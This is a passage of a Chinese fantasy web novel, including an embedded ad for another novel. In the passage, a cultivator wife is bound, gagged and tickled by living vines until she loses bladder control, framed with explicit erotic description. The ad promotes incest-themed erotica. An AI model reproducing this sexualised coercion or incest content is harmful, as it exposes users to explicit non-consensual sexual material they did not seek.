  林烨一边用手指轻抚着许墨光滑的腰肢和如瀑的青丝,一边看似随意地问道:“墨宝儿,你最近几日在镇子里闲逛,除了我以外,可还觉得有什么人比较特殊?”
  许墨闻言,抿嘴一笑,眼波流转:“天底下哪有比老公您更特殊、更……抽象的人呀?”
  她小小地调侃了一句,随即正色道,“不过,若真要说起来,倒是有几位让墨印象颇深。”
  她依偎在林烨身边,扳着手指细数:“首推大槐树下那位行医问药的青岑先生。他气质空灵沉静不像寻常医者,倒像是一位隐世的得道高人。墨只是偶然路过,他抬眼看了我一下便缓缓道出了墨过去因长期药浴体内积存的几种寒毒、以及经脉中几处细微的旧伤淤塞之处,所言分毫不差。他言语温和却有种洞悉一切的智慧,令人心生敬意。”
  “其次是镇中心那家茶馆的老板娘幽漪。她容貌妖艳眉眼之间风情万种,不似此间凡人。平日里讲的故事更是光怪陆离,什么仙界秘闻、魔界轶事、人界王朝更迭的野史都能随口道来,娓娓动听。虽然……虽然大部分内容都是些香艳露骨的黄段子,”
  许墨脸颊微红,“但仔细分辨,其中时不乏一些听起来颇为真实的修行界密辛。只是……她看墨的眼神总是带着一种若有若无的……贪婪?墨心里有些发毛,不太敢与她过多接触。”
  “其实还好……她看我也是这熊样。”
  许墨点头,随后说道:“还有就是铁匠铺的厉锋师傅。他虽须发皆白,看似年迈但身材魁梧雄壮肌肉虬结,气质刚猛无俦。墨曾亲眼见他挥舞一柄重达上百斤的巨锤敲打烧红的铁胚,动作举重若轻,呼呼生风,连续数个时辰都大气不喘一口。这绝非凡间武夫所能为,定然是一位修为高深的体修或武修。”
  “镇子南头有家小小的珠宝店,店主是位穿红衣的炎曦大姐。她眉目英气逼人性格却极为暴躁,对上门看货的顾客时常出言不逊,似乎毫不在意生意冷清,整日里不是打坐就是对着天空发呆,见到人就想怼几句。不过,墨发现她与负责镇子修缮建造的包工头石坤关系似乎不错,偶尔能见到他们在一起说话。”
  林烨点头,示意继续:“说到石坤,他看起来最为平常,忠厚老实相貌敦厚。但他行路之时步伐稳健异常,脚下仿佛生根。墨观察过他带领工人修屋架桥,动作麻利得超乎想象,对石材土木的特性了如指掌,而且气息极其厚重沉稳,站在他身边有种面对山岳般的压迫感。墨想,他必然也是一位实力强悍的修士,只是修炼的路子与旁人不同。”
  林烨听完许墨细致入微的观察和判断,眼中赞赏之色愈浓,连连点头,笑着揉了揉她的头发:“不愧是我家墨宝,真是慧眼如炬,心思缜密。桃源镇这几个来玩cosplay的家伙都被你看出来了。”
  不过他心中却暗自吐槽:这孩子观察力如此敏锐,怎么当初第一次见我,就把我这风度翩翩、气质超凡的仙家俊杰,跟磐石寨那头蠢笨如猪的熊怪山神划等号了?
  转念一想,又释然了。
  那时候许墨还未踏入仙门,毫无修仙常识,无知者无怪嘛。
  况且,若非她那时“有眼无珠”,自己又怎能如此轻易就把这万载难逢的纯阴之体骗……呃,搞……不对,是请到手呢?
  自我开解完毕,林烨心情大好,开始指着桌上的地图,正式为许墨讲解起来:“墨宝儿,你来看。我们所处的桃源镇,以及周边这片广袤山脉,名为‘两界山’,顾名思义,它正好位于人界与魔界的交界地带。”
  他的手指在地图上划过一道蜿蜒的界线:“正因如此,自古以来,两界气息在此交织碰撞,五行紊乱灵气狂暴,那会可是鸡不生蛋鸟不拉屎,路过的石头都要脱一层皮才行。直到我来到此地,费了些手脚重新梳理地脉,引导灵气将原本五行相杀的局面,扭转成了五行相生的格局,才有了如今这般灵气充裕适合修行的环境。”
  接着,他的指尖点向地图上环绕着桃源镇的五个主要区域,这些区域分别闪烁着青、黑、金、红、黄五种颜色的灵光:“你看,这片山脉的五个核心地界,正好对应五行之力。”
  “青木谷”
  他指向东方那片郁郁葱葱、灵光闪耀的区域,“此地木属性灵气最为浓郁,山林葱翠,环境清幽。里面生活着许多草木精怪,不过大多灵智初开,性情温和,没什么威胁,顶多有些调皮捣蛋的小家伙。最适合你平日里去散心漫步,感受生机勃勃的木灵之气。”
  “黑水涧,”
  手指移向北方那条蜿蜒的深色水系,“分为地上地下两部分。地上河水湍急,有几分刺激,可以尝试泛舟漂流,锻炼一下水性和对水流的掌控力。地下部分则阴暗幽深,连接着复杂的地下暗河,适合潜水探索,别有一番趣味。我给你的那颗‘避水珠塞口球’,只需戴上就能在水中呼吸无碍,正好派上用场。”
  “锐金峰,”
  点向西边那座如同利剑般直插云霄、闪耀着金属光泽的山峰,“此地曾是上古仙魔大战时期的一处‘天道锻炉’遗址,肃杀凌厉的金煞之气历经万年仍未完全消散,气场锋锐,对于磨砺意志、感悟攻伐之道颇有裨益。不过比较适合追求刺激和挑战的时候去。”
  “焚天崖,”
  指向南边那片赤红如火、热浪仿佛能透图而出的区域,“典型的火山沙漠地貌,环境酷烈。悬崖顶端栖息着一些强大的飞行妖禽,以及少数几种耐高温的奇特植物。此地火灵之气旺盛,偶尔去烤烤火,倒是能驱驱体内的湿寒之气。”
  “最后是玄垢洞,”
  手指落在西南方一片看似平平无奇、土黄色灵光沉凝的区域,“这里嘛,是最没意思的一个地方。里面住着一群石猿,整天就知道敲敲打打,研究石雕石刻,要么就是互相摔跤玩闹。如果你对地下溶洞、钟乳石笋这类自然景观感兴趣,倒可以去逛逛,看看那群猴子折腾。”
  林烨总结道:“总之,这两界山方圆千里经过我的调理,如今已算是一片祥和的修行乐土。这些地界各有特色,但并无真正能威胁到你的存在。你如今修为卡在瓶颈,正需要四处游历,感受不同的天地灵气,体会五行生克之妙。所以,放开手脚,放心大胆地去玩、去探索就好。”
  许墨听得心驰神往,一双美眸紧紧盯着地图,将夫君的话一字不落地记在心里。她感受到林烨为她规划的这条修行之路并非闭门造车,而是融入天地,在游历中自然悟道。
  这时,林烨看了看窗外渐高的日头,打了个哈欠,又恢复了那副懒洋洋的模样:“行了,今天的课就上到这里。道爷我得出摊给人通下水道去了,再不干活,咱们下个月的灵谷可就要断炊喽!”
  他拍了拍许墨的翘臀,“你也别光着身子在屋里晃悠了,去换身衣服,然后就自己出门随便溜达吧。记住,安全第一,玩得开心。”
  许墨嫣然一笑,乖巧点头:“嗯,墨知道了。老公辛苦。”
  她目送林烨伸着懒腰,拎起一个写着“水管补漏,屋顶防水”的木牌,晃晃悠悠地走出小院,融入桃源镇清晨渐渐热闹起来的街巷中。
  屋内,许墨低头看了看自己赤裸的娇躯,又回想了一下方才林烨关于五行地界的介绍,眼中充满了对新一天探索的期待。
  她走到衣柜前,开始挑选今日出行的衣物。

好色小姨
孤寂之狼
“小姨,我要……”“乖乖,我来了……”当你有一个漂亮的不像话,而且寂寞难耐的小姨时,你会怎么做?当这个爱你到骨子里的小姨不断的为你勾搭各种美女的时候,你会怎么做?从萝莉,到御姐,到少妇,小姨的命令统统拿下……

天空之城 / 发表于: 2025/10/14 04:42:52

第3章 灵藤缚身,挠痒地狱
  林烨那拎着“水管补漏,屋顶防水”木牌的背影,晃晃悠悠地消失在篱笆院门外,如同水滴汇入溪流融入了桃源镇清晨渐渐喧嚣起来的街巷中,许墨苦笑不得的看着那越走越是猥琐的身形,不由得怀疑夫君明明是得道仙人却为何总要在凡间这般作践自己。
  小院内重归宁静,只剩下许墨一人,以及空气中尚未完全散去的咖啡与灵乳混合的独特醇香。
  她并未立刻遵从林烨的嘱咐去换衣出门,而是赤着一双玉足袅袅娜娜地踱回屋内,停在那面光洁如水的奇异镜前。
  这面来自异界的镜子清晰地映照出她毫无遮掩的胴体,每一寸肌肤,每一道曲线都分毫毕现。
  经过洗髓伐毛和这些时日桃源镇灵气的日夜滋养,这具身体早已脱胎换骨。
  昔日磐石寨神女的苍白与脆弱荡然无存,取而代之的是莹润如玉的光泽,仿佛最上等的羊脂白玉精心雕琢而成。
  肩线圆润流畅,锁骨精致分明,向下是陡然收束的纤细腰肢,不盈一握,却又蕴含着柔韧的力量。
  腰肢之下,臀形饱满挺翘如同熟透的蜜桃,勾勒出惊心动魄的弧线,与那双笔直修长、肌肉线条流畅完美的玉腿浑然一体。
  胸前那对丰盈因清晨的泌乳仪式依旧傲然挺立,顶端的两点樱红微微硬实,周围乳晕泛着淡淡的粉晕还残留着些许揉捏后的湿润痕迹更添几分情色意味。
  平坦光滑的小腹,精致的脐眼,再往下是那片神秘幽谷,肌肤细腻得看不见一丝毛孔,只有淡淡的、诱人的粉嫩缝隙引人探寻。
  许墨的目光带着几分迷醉与挑剔,细细巡弋过镜中的自己。
  指尖轻轻划过锁骨,拂过胸侧饱满的弧线,停留在弹性十足的臀瓣上,最后落在大腿内侧光滑的肌肤。
  一种混合着自豪与渴望的情绪在胸中涌动。
  她无比自豪于这具日益完美的“鼎炉”,渴望于夫君林烨口中那突破筑基之后灵肉交融、共赴云雨的双修之境。
  她想象着当自己筑基成功,体内阴元更加充盈纯净便能更好地承受夫君那霸道而灼热的纯阳灵力,两人水乳交融神魂契合,在那极乐的巅峰中共同探索大道的奥秘……光是这般想着,她便觉一股熟悉的暖流自小腹深处涌起,双腿微微发软,镜中那张清纯与妩媚交织的脸庞也染上了动情的桃红。
  “需得更加努力才行……为了夫君,也为了我自己……”她轻声呢喃,眼中闪烁着坚定而炽热的光芒。
  为了迎接那注定到来的神圣时刻,她不敢有丝毫懈怠。
  许墨转身离开镜前在屋内清理出一片空地,深吸一口蕴含着灵气的清新空气缓缓摆开了架势。
  她开始演练一套自幼便习练的体式。
  这套动作源于磐石寨神女祭祀前的“净体柔术”,但如今在她心中早已剥离了残忍的色彩,纯粹是为未来与林烨双修所做的“万全准备”
  ——她要确保自己的身体足够柔韧、足够敏感、能够容纳和回应夫君的一切。  她先是缓缓向前俯身双手撑地,脊柱一节节拉伸出柔韧而惊人的弧线,这个动作使得她挺翘的臀瓣愈发向后凸起,臀缝在光影下若隐若现。接着,她单足稳稳立于地面,另一条腿则如同天鹅引颈般,缓缓向后、向上伸展,脚背绷直,直至与躯干成一条笔直的线,展现出惊人的平衡力与柔韧性。
  许墨的每一个动作都极慢极稳,配合着深长的呼吸吐纳,一吸一呼间,天地间微薄的灵气被丝丝缕缕地引入体内,如同最细腻的砂纸淬炼着经脉,滋养着血肉,也让她的肌肤透出一种运动中的健康红晕。
  她时而如灵猫伸腰,腰肢极尽塌陷,臀股高抬,形成一个诱人的跪趴姿势,胸前的丰盈因重力而自然垂落,微微晃动;时而如白鹤亮翅,双臂舒展向后,胸腔充分打开,使得双乳的轮廓更加挺拔傲人,顶端茱萸甚至轻轻摩擦过微凉的空气。
  汗水渐渐从她细腻扩张的毛孔中渗出,在她光洁无瑕的肌肤上复上一层晶莹剔透的光泽,尤其是运动最剧烈的腰腹、臀腿处,汗水汇聚成珠,沿着诱人的肌肉沟壑蜿蜒滑落,留下湿漉漉的痕迹。空气中弥漫开一股淡淡的、越来越浓郁的馨香,混合着处子特有的幽香、灵气的清冽以及情动时分泌的些许暧昧气息。
  在她看来,这不仅是锻炼筋骨柔韧,更是提前熟悉、唤醒和掌控自己身体的每一处敏感带。
  她知道怎样的拉伸会带来怎样的快感,怎样的呼吸能调动更深层的气力,幻想在未来那既神圣又激烈的双修时刻能抛开一切羞涩与矜持,全身心地投入,用这具精心准备的肉体去契合、去取悦、去容纳她深爱的夫君,共同攀登那极乐的彼岸。
  约莫半个时辰后,一套复杂而耗神的体式终于完成。
  许墨长长地、满足地吐出一口浊气,只觉周身经络舒畅,灵气充盈欲溢,身体深处似乎有一种空虚的渴望被悄然勾起。
  她走到浴室,拧开淋浴花洒让温热的清水喷洒而下,冲去一身的薄汗与黏腻。
  水珠溅在她温热的肌肤上带来阵阵酥麻的清凉,也让她因运动和高涨情欲而泛红的身体渐渐冷却,愈发神清气爽,但那种被开发和唤醒的敏感却残留了下来。
  仔细擦干身体后,她走到衣柜前。
  略一思索挑选了一身清爽利落又能恰到好处勾勒身材的运动服。
  下半身是一条弹性极佳的黑色踩脚包腿长裤,布料光滑而富有光泽,如同第二层皮肤般将她笔直修长、肌肉线条分明的大腿和那对浑圆挺翘弧度完美的臀瓣包裹得严丝合缝,每一寸曲线都暴露无遗,充满了力量与性张力。
  她穿上纯棉的短袜,套上一双轻便贴脚的白色运动鞋。
  上半身,她先是一件支撑性良好、略带衬垫的运动文胸,将一对丰硕玉乳妥帖地包裹、集中、托高,挤出深邃诱人的乳沟,随后直接套上一件纯白色的短款运动外套,拉链只拉到胸口下方,露出精致的锁骨和一小片雪白的肌脯,以及那若隐若现的沟壑。
  她再次站到镜前,镜中的少女英姿飒爽活力四射,运动服将她身材的优势——饱满的胸、纤细的腰、丰腴的臀、修长的腿——强调到极致,浑身散发着青春的朝气,却又因那紧裹的布料和裸露的些许肌肤,透出一种不自知的、运动系的性感诱惑。
  许墨对这幅形象很是满意,唇角微勾,点了点头,随即兴致勃勃地出门,朝着镇东方向那片郁郁葱葱的青木谷而去。
  青木谷果然如林烨所言环境优美得如同被精心描绘的仙境。
  参天古木枝繁叶茂遮天蔽日,阳光只能透过层层叠叠的叶隙,洒下斑驳摇曳的金色光点。
  奇花异草遍地芬芳,色彩斑斓,溪流潺潺,清澈见底,鸟鸣声清脆悦耳,交织成自然的乐章。
  更奇妙的是,谷中的一草一木似乎都蕴含着灵性,许墨行走其间不仅能感受到空气中浓郁的木灵之气,更能清晰地感知到四周草木散发出的亲切、友好甚至略带好奇的意念波动,连摇曳的枝条都仿佛在向她点头致意,含羞草在她经过时会悄然合拢。
  这种与自然万物交融、被善意包围的感觉让她心旷神怡,暂时忘却了身体的微妙躁动。
  她今日的计划是跑步锻炼,同时练习林烨传授的那套基础步法——“流云步”。
  此步法重在身法的灵动、飘逸与长途奔袭的持久力,对灵力精细控制和身体协调性要求极高。
  许墨寻了一处平坦开阔、铺满柔软落叶的林间路径,略作热身便开始最大化催动体内灵力。
  练气圆满的修为全力运转,丹田气海内积蓄的灵力如同苏醒的溪流瞬间奔涌起来沿着畅通的经脉迅速流转,强化着她的四肢百骸,充盈着她的每一寸肌肉。
  她深吸一口气,迈开双腿,奔跑起来。
  起初速度并不快,但她每一步踏出,都暗合“流云步”的诀窍,脚尖轻点地面,身形如流云般飘逸向前,落地无声,只在厚厚的落叶上留下极浅的痕迹。
  随着奔跑的持续,她的速度渐渐提升,白色的运动身影化作一道模糊的倩影,在郁郁葱葱的林间快速穿梭。
  紧身的黑色运动长裤清晰地勾勒出她每一次迈步、发力时,那饱满臀肌与结实大腿肌肉完美的收缩与舒展线条,充满了野性的力量感与律动的美感。
  额角、鼻尖、颈窝渐渐渗出细密的汗珠,在她白皙的肌肤上闪烁着晶莹的光泽,沿着光滑的脸颊和修长的脖颈滑落,少许沾湿了运动外套的领口。
  胸前的丰盈即使有运动文胸的束缚,依旧随着奔跑的步伐波涛汹涌般起伏波动,那动人的弧度与弹性,隔着衣物都能想象出其下的汹涌澎湃。
  奔跑时的许墨香汗淋漓,呼吸微微急促,胸脯起伏不定,双颊绯红,却更添几分运动带来的健康活力与一种难以言喻的、汗水浸润的性感诱惑。
  她回想起来自己最初学习流云步时总是不得要领,夫君在背后高喊“Run!墨墨!Run!”时的荒诞和神经,不由得会心一笑,心中又有些遗憾自己此时的样子没有被夫君看到。
  她沉浸在这种速度与力量释放的快感中感受着风掠过耳畔带来的清凉,感受着灵力在体内畅快流转带来的充盈,几乎要忘我地沉醉其中。
  不知跑了多久,直到感觉体内灵力消耗近半,气息也开始变得粗重不稳,饱满的胸脯起伏得更加剧烈,许墨才意犹未尽地缓缓停下脚步。
  她寻了处干净柔软的草地,盘膝坐下,闭上眼眸,手掐诀印,开始打坐调息,引导天地灵气入体,恢复消耗的体力与灵力。
  约莫一炷香的时间后,她缓缓睁开双眼,眸中精光一闪而逝,消耗的灵力已恢复了七七八八,只是身体因剧烈运动后的慵懒与敏感依旧残留。
  就在这时,她眼角的余光瞥见头顶斜上方的一根枝条上,挂着几颗水灵灵、格外诱人的果子。
  那果子约有婴儿拳头大小,通体碧绿如玉,表皮光滑剔透,在枝叶间透下的阳光下闪烁着莹莹光泽,散发出一种清甜中带着一丝奶香的奇异果香,闻之令人精神一振,口舌生津。
  许墨心中一动,顿感口渴:“跑了这许久正好有些口渴了。这果子看起来灵气充沛,甚是可口,不如摘一个解渴。再带几个回去,给老公尝尝鲜,他见多识广,或许知道这是什么灵果,定然欢喜。”
  想到这里她站起身,拍了拍沾上草屑的运动裤,轻盈地跃入旁边的密林中。
  那果树并不算高大,但对于常人而言徒手攀爬也有些难度。不过这对于已是练气圆满、身体经过强化的许墨来说并非难事。
  她身形灵动如林间狸猫,看准树干上几个凹凸的落脚点,足尖灌注些许灵力,在粗糙的树皮上轻轻几点,便借力灵巧地跃上了枝头,动作优美流畅,宛如舞蹈。
  站在颤巍巍的树枝上,她稳住身形伸出手便欲采摘那近在咫尺散发着诱人香气的灵果。然而,就在她的指尖即将触碰到那冰凉光滑的果实的刹那——异变突生!
  “嗖!”
  一根原本静静垂落、看似无害的翠绿藤蔓如同蓄势已久的绿色毒蛇,猛然弹射而起,速度快得只留下一道残影!
  它以迅雷不及掩耳之势,精准而狠辣地死死缠住了她伸出的手腕!
  “啊!”
  许墨猝不及防,惊呼出声,心中警兆大作!那藤蔓上传来的力量大得惊人,而且极其坚韧富有弹性,她下意识就运转练气圆满的肉身力量,想将其震断或挣脱,却骇然发现自己的力气在这看似纤细的藤蔓面前竟如同蚍蜉撼树!手腕被箍得生疼,骨头都发出轻微的咯吱声,却丝毫动弹不得!
  “怎么会?!这到底是什么藤蔓?!”
  许墨心中骇然,俏脸瞬间变色。林烨确实传授过她一些近身格斗和闪避的技巧,但那些招式在面对这种纯粹、绝对的力量束缚时显得如此苍白无力!她第一次如此清晰地意识到自己实战经验的匮乏。
  她急忙收敛心神,试图调动丹田灵力,想从被缚的指尖逼出一簇灼热的火苗——这是低阶修士应对草木精怪最直接有效的法门。
  然而,她心念刚动,灵气还未及凝聚至指尖——“嗖!嗖!嗖!”
  更多的藤蔓从四面八方、从浓密的枝叶间蜂拥而至!如同无数有了生命的绿色触手,带着戏谑与不容抗拒的姿态,精准而迅速地缠绕上了她的另一只手腕、那不盈一握的纤细腰肢、以及那双被紧身运动裤包裹得曲线毕露的修长双腿!
  “唔!”许墨彻底被困住了!她心中涌起巨大的恐慌,拼命挣扎起来。身体在半空中无助地扭动、踢蹬,尤其是那双力量感与美感并存的长腿,肌肉瞬间绷紧到极致,在大腿和臀部勾勒出惊心动魄的肌肉颤动,充满了被禁锢时爆发的、绝望的力量感。
  但藤蔓的力量超乎想象,它们如同拥有生命的铁箍,不仅坚韧无比更能巧妙地化解她的力道,深深陷入她柔软的肌肤和紧裹的运动服中,甚至透过布料都能感受到那强韧无比的压迫感,勒得她生疼。
  她的挣扎非但无效,反而因为身体的剧烈扭动使得臀腿的饱满曲线在紧绷的布料下更加凸显、起伏,充满了一种被暴力束缚的、无助而性感的诱惑。
  几乎是在眨眼之间,她的四肢就被四根粗壮的主藤蔓强行向四个方向拉开,形成了一个羞耻无比的“X”形,悬吊在离地半人高的空中!而这还不算完,又一根稍细却更具韧性的藤蔓如同鬼魅般从后方悄无声息地绕来,猛地勒过她微张的双唇,迫使她不得不咬住那略带青涩草木味的藤蔓,随后藤蔓向上狠狠一拉,将她的头部强行向后仰起,连带着整个身体都被迫反弓起来,胸脯被迫高高挺起,腰肢弯折出一个脆弱的弧线!
  四肢传来的剧烈拉伸感和撕裂般的勒痛,头部后仰带来的窒息与眩晕感,身体被强行摆出的这种暴露而屈辱的姿势,瞬间击溃了许墨的心防,唤醒了她内心深处最不堪回首的记忆——被献祭给山神时,那种身体被彻底掌控如同待宰羔羊般无力反抗的绝望与恐惧如同冰水般兜头浇下!
  巨大的恐惧瞬间攫住了她,让她浑身冰凉,连挣扎的力气都仿佛被抽空!
  就在她心神恍惚、被恐惧淹没之际,她感觉到脚上的运动鞋被灵活的藤蔓尖端熟练地解开、脱落!紧接着,是那双纯棉的短袜!
  “不!不要!放开我!”
  许墨在心中拼命呐喊,俏脸上写满了惊恐、羞愤与无助。
  失去了鞋袜的保护,一双从未被外人窥见的精致玉足彻底暴露在微凉的林间空气中。
  她的脚型极美,足弓优美,脚趾如珍珠般圆润饱满,因为极度的紧张和恐惧而微微蜷缩着,透出一种楚楚可怜的柔弱感。
  然而,藤蔓的“恶作剧”或者说“惩罚”,才刚刚开始。
  几根顶端生有细软绒毛的藤须,如同最调皮又最残忍的手指,开始轻轻地、持续地搔刮她玉足上最敏感的脚心!
  “噗……哈哈哈……不……不要……住手……哈哈哈……”
  许墨本就天生肌肤细腻,触觉极其敏感,这突如其来的、针对最脆弱部位的袭击让她根本无法忍受!
  钻心蚀骨的痒感如同强烈的电流般瞬间窜遍全身,每一根神经都在尖叫!她控制不住地放声大笑起来,笑声中却充满了痛苦、屈辱和失控的慌乱。
  身体在空中剧烈地、无助地扭动挣扎,尤其是那纤细的腰肢和丰腴的臀腿疯狂地扭动出各种诱人而绝望的弧度,紧身运动裤的布料因此绷得更紧,勾勒出每一寸肌肉的痉挛和颤动。
  但这绝望的笑声和挣扎只会刺激那些仿佛拥有恶趣味的藤蔓。很快又有几根类似的藤蔓探向她因双臂被拉直而暴露无遗的腋下区域,开始了新一轮更加猛烈和密集的袭击!
  “呀!哈哈……不行了……痒死了……求求你们……哈哈哈……住手啊……”
  许墨彻底陷入了名为“痒痒地狱”的极致折磨之中。
  形的悬吊让她没有任何躲闪的空间,剧烈的、无法停止的笑声让她根本无法进行哪怕一次完整的呼吸吐纳,更别提凝神调动灵力了。丹田内的灵气因主人的失控而如同沸水般翻滚躁动,却因无法有效引导而在她经脉中乱窜,带来阵阵胀痛。她笑得眼泪不受控制地飙出,顺着绯红的脸颊滑落,上气不接下气,浑身瘫软如泥,只剩下最本能的、神经质的抽搐和扭动,臀波乳浪,腰肢乱颤,整个人呈现出一种被彻底玩弄于股掌之间的、狼狈而又充满某种被欺凌的、病态美感的姿态。
  在极致的痒感和缺氧带来的眩晕中,许墨的意识开始模糊,几乎要昏厥过去。
  而就在这时,藤蔓似乎觉得还不够,开始对她身上最后的遮蔽物下手!它们灵巧地、带着一种探索意味地,用藤梢划开她运动外套的拉链,甚至试图剥离那件紧身的、早已被汗水浸湿的运动文胸和长裤!
  “不!不要!求你们……不能……我的身子……是夫君的……”
  许墨心中充满了前所未有的绝望和恐惧,尤其是想到自己最珍贵的、为林烨守候的处女之身可能要被这些非人的藤蔓莫名其妙的玷污侵犯!如果失去了贞洁,不再完整纯净地属于林烨,她觉得自己连活下去的勇气都会丧失!
  生理上的极度刺激和心理上的巨大恐惧如同两股巨浪交织拍打,将她推向彻底崩溃的边缘,眼前阵阵发黑。
  就在她意识即将被黑暗吞噬的刹那,所有的挠痒攻击却毫无征兆地戛然而止。
  世界瞬间安静下来,只剩下许墨如同离水之鱼般大口大口、贪婪地喘息着,胸腔剧烈起伏。
  她浑身脱力地瘫软在藤蔓的束缚中,眼神涣散,大脑一片空白。过了一会儿,一种湿热羞耻的感觉从下身传来,她艰难地低头一看,顿时羞得无地自容,恨不得立刻死去——原来在刚才那极度的生理刺激、失控大笑和神经紧绷之下她竟然……失禁了。
  清澈的液体不受控制地涌出,浸湿了运动裤裆部的一小片区域,然后顺着大腿根部内侧的布料缓缓滑落,带来冰凉黏腻的触感。
  然而,预想中更进一步的侵犯却并未发生。那些藤蔓并未趁机亵渎她最私密的领域,反而有几片宽大柔软的树叶自动卷成杯状,小心翼翼地接取她失禁排出的、蕴含着灵气的尿液。
  还有更多柔软的叶片如同最细腻殷勤的侍女,轻轻仔细地刮擦着她身上淋漓的香汗,收集那些同样饱含灵气的液珠,甚至连她失禁后湿漉的腿根肌肤都被温柔地擦拭干净。
  许墨先是一愣,茫然地看着这一切,随即,一个念头如同闪电般划过她混乱的脑海!
  这些藤蔓……它们的目的从一开始就不是侵犯或伤害,而是收集自己体内的体液!
  无论是蕴含灵力的汗水,还是……同样是身体排泄物、但也可能含有灵气的尿液!
  它们只是用一种极其“调皮”、极其“过分”、甚至堪称羞辱的方式,达到了收集的目的!
  意识到这一点,许墨心中那根紧绷的名为恐惧的弦瞬间松了下来,一种劫后余生的虚脱感席卷全身。
  但随之而来的,是更深的羞愤、委屈和一种难以言喻的荒谬感。
  自己好歹是练气圆满的修士,放在一些小门派也算是个高手了,竟然被几根看似普通的藤蔓如此轻易地制服、戏弄、摆布,甚至被逼到失禁这等丑态百出的境地!
  “夫君说得对……我果然缺乏真正的历练……空有境界,却没有相应的应变能力、实战经验和坚韧的心志……我真是太没用了……”一股强烈的、想要变强的欲望,如同火焰般在她心中熊熊燃起,暂时压过了羞耻感。
  藤蔓们似乎终于“心满意足”,收集完了所需的“体液”。
  它们如同潮水般退去,轻轻地将虚脱的许墨放在了柔软的草地上。束缚骤然解除,她双腿一软直接瘫坐在地,浑身骨头都像散了架一样,特别是手腕、脚踝和腰肢被勒过的地方传来火辣辣的疼痛感。
  她羞愤交加地瞪了那些此刻又恢复成普通植物模样、静静垂落的藤蔓一眼,勉强支撑着酸软无力的身体,手忙脚乱地捡起被扔在一旁的运动鞋袜和有些凌乱、甚至裆部还有些湿痕的运动服。虽然身上各处还残留着被紧缚的触感和不适但总算是勉强恢复了体面。她感觉双腿间依旧有些黏腻,走路姿势都有些不自然。
  她有些委屈巴巴地、一瘸一拐地打算尽快离开这个让她“丢尽颜面”的伤心地。就在这时那棵结着灵果的树枝,却仿佛带着歉意和讨好,主动且优雅地垂落下来,将那几个水灵灵、完好无损的果子直接递到了她的面前,甚至轻轻晃了晃,仿佛在说“拿去吃吧,别生气了”。
  许墨虽然对藤蔓的胡闹和羞辱还有些耿耿于怀,但看着眼前这明显是“赔罪”的、散发着诱人灵光的果子心中的气也消了大半。她犹豫了一下,还是伸手摘下一个最饱满的放在鼻尖深深一闻,那股清甜奶香令人心醉。她轻轻咬破薄薄的表皮,甘甜清冽、仿佛凝聚了草木精华的汁液瞬间在口腔中爆开,果肉绵软即化,一股精纯、温和而磅礴的木灵之气如同甘泉般涌入喉咙,迅速流向四肢百骸。
  刚刚因为虚脱、惊吓和失禁而损耗的灵力竟在以惊人的速度被补充回来,甚至干涸的经脉都仿佛被这股充满生机的能量洗涤、滋润过一般,变得更加通畅、柔韧,连身体深处的疲惫和羞耻感都被驱散了不少。
  “真是……不可思议的果子!”
  许墨美眸一亮,心中的不快和阴霾彻底被这极致的美味和神奇效果驱散。
  她又迫不及待地吃了一个,感受着灵气在体内的欢快流淌,然后将剩下的两个小心翼翼地用干净树叶包好,放入怀中准备带回去与林烨分享。
  傍晚时分,夕阳将天边染成绚丽的橘红色,许墨才拖着依旧有些酸软的身体,回到了祥和依旧的桃源镇。
  在经过镇中心那棵盘根错节遮天蔽日的巨大榕树下时,她看到了那位气质空灵沉静的青岑先生正悠然坐在树下的石凳上,仿佛早已在此静候多时。
  见到许墨略显狼狈却又带着一丝收获的复杂神情,青岑微微一笑,目光温和深邃,似乎能洞悉一切,却又包容众生:“许姑娘,青木谷一行感觉如何?可还适应谷中的‘生机’?”
  许墨想到白天的遭遇,特别是那羞于启齿的失禁不由得撇了撇嘴,带着几分女儿家的娇嗔与委屈说道:“环境是极优美的,灵气也充沛……只是,里面的精怪们,未免也太过……太过调皮了些!”
  她刻意用了“调皮”这个词,掩盖了其中的惊险与羞辱。不过,她还是恭敬地向青岑行了一礼,真心实意地道谢:“多谢青先生的馈赠。”
  青岑含笑点头,并未对她略显狼狈的姿态和言语中的保留多做探究,只是温和地说道:“适应便好。草木之性,看似温和亦有峥嵘。姑娘能得其果,便是缘分。”
  话音落下,他的身影渐渐变得模糊、透明,最终如同融化在空气中一般,无声无息地消失在身后那棵巨大榕树苍劲的树干之内,仿佛他本就是这树的一部分。
  许墨怔怔地看了一会儿才转身回家。
  小院内,林烨已经收摊回来了,正毫无形象地翘着二郎腿躺在竹椅上,嘴里哼着不成调的小曲显得悠闲自在。
  见到许墨回来,他立刻弹了起来,笑嘻嘻地迎上来,鼻子抽动了两下,眼神变得有些玩味。
  许墨脸上微热强作镇定,从怀中拿出那两颗用树叶包裹的灵果递给林烨:“老公,尝尝这个,青木谷里摘的果子,味道很好,还能快速补充灵力。”
  林烨接过果子毫不客气地咔嚓咬了一大口,甘甜的汁水顺着嘴角流下,他咂咂嘴,连连称赞:“嗯!不错不错!青木那老小子倒是大方,把这看家的‘青灵涎果’都舍得给你了,看来对你印象不错啊!”
  他一边大口吃着果子,一边看似随意地问道,目光却悄悄扫过许墨略显紧绷的腿部和不自然的站姿,“墨宝儿,第一天出去历练,感觉怎么样?有没有遇到什么……嗯,‘好玩’的事儿?”
  他特意在“好玩”二字上加重了语气,带着促狭的笑意。
  许墨想到白天的狼狈,特别是最后的失禁脸颊瞬间飞起红霞,一直蔓延到耳根,但看到林烨那似乎洞悉一切却又充满鼓励的眼神,她深吸一口气,压下心中的羞耻,眼神却变得更加坚定和清醒:“确实……印象深刻,终身难忘。夫君说得对,墨空有练气圆满的修为,实战经验却几乎为零,心志也不够坚韧,连……连几根藤蔓都应付不了,反而……反而……”
  她说不下去了,但眼神已经说明了一切。
  “墨需要学习和磨练的地方还有很多很多。墨一定会更加努力,克服这些弱点,尽早完美突破筑基,达到……能够真正配得上夫君、与夫君灵肉双修的境界。”
  林烨闻言眼中闪过真正的欣喜和赞赏,他一把将许墨用力搂入怀中,不顾她身上可能还残留的些许汗味和狼狈,在她光洁的额头上重重亲了一口,赞道:“好!好墨宝!能吃一堑长一智,有此觉悟和决心,何愁大道不成!老公果然没看错你!”
  随即,他又贼兮兮地凑到许墨耳边,湿热的气息喷在她的耳廓,压低声音,用充满诱惑的语气问道:“那……今晚,要不要老公帮你好好‘巩固’一下修为?比如……用绳子细细地帮你‘检查’一下身体,看看还有哪些地方需要‘特别训练’?” 他的手已经不老实地在她紧裹着运动裤的翘臀上轻轻揉捏着。
